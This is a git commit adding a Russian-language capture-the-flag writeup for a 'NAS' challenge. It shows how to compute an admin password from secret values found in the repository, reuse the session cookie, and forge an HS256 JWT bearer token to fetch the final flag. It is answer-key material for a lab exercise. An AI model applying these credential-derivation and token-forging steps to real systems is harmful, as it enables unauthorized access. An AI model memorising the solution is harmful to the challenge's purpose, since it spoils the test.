Init. import
This commit is contained in:
70
GAME/nas/writeup.md
Normal file
70
GAME/nas/writeup.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# Writeup для NAS (русская версия)
|
||||
|
||||
## Цель
|
||||
Зайти в хранилище
|
||||
|
||||
## 1 Задание Посчитать пароль админа и войти
|
||||
Пароль админа — первые 12 символов:
|
||||
```
|
||||
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория
|
||||
Входим
|
||||
|
||||
```
|
||||
|
||||
Пример:
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
|
||||
print(admin_pass)
|
||||
```
|
||||
|
||||
Логин: `/login` с:
|
||||
```
|
||||
username=admin
|
||||
password=<admin_pass>
|
||||
```
|
||||
Сохраните cookie `sid` из ответа.
|
||||
Получаем доступ к файлу .wav
|
||||
Дальше решение из папки Stegano.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 2 задание Сковать bearer JWT и забрать финальный флаг
|
||||
`/admin/flag` требует:
|
||||
- cookie `sid` (админская сессия)
|
||||
- `Authorization: Bearer <jwt>`
|
||||
|
||||
Ограничения на payload:
|
||||
- `role: "admin"`
|
||||
- `kpf: <KETTLE_PROOF>`
|
||||
- `aud: "nas-admin"`
|
||||
- `iat`: текущее UNIX‑время (допуск примерно ±120 сек)
|
||||
|
||||
Пример:
|
||||
```python
|
||||
import time, jwt
|
||||
|
||||
payload = {
|
||||
"role": "admin",
|
||||
"kpf": KETTLE_PROOF,
|
||||
"aud": "nas-admin",
|
||||
"iat": int(time.time()),
|
||||
}
|
||||
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
|
||||
print(token)
|
||||
```
|
||||
|
||||
Запрос:
|
||||
```
|
||||
GET /admin/flag
|
||||
Cookie: sid=<sid>
|
||||
Authorization: Bearer <token>
|
||||
```
|
||||
|
||||
В ответе — финальный флаг.
|
||||
Reference in New Issue
Block a user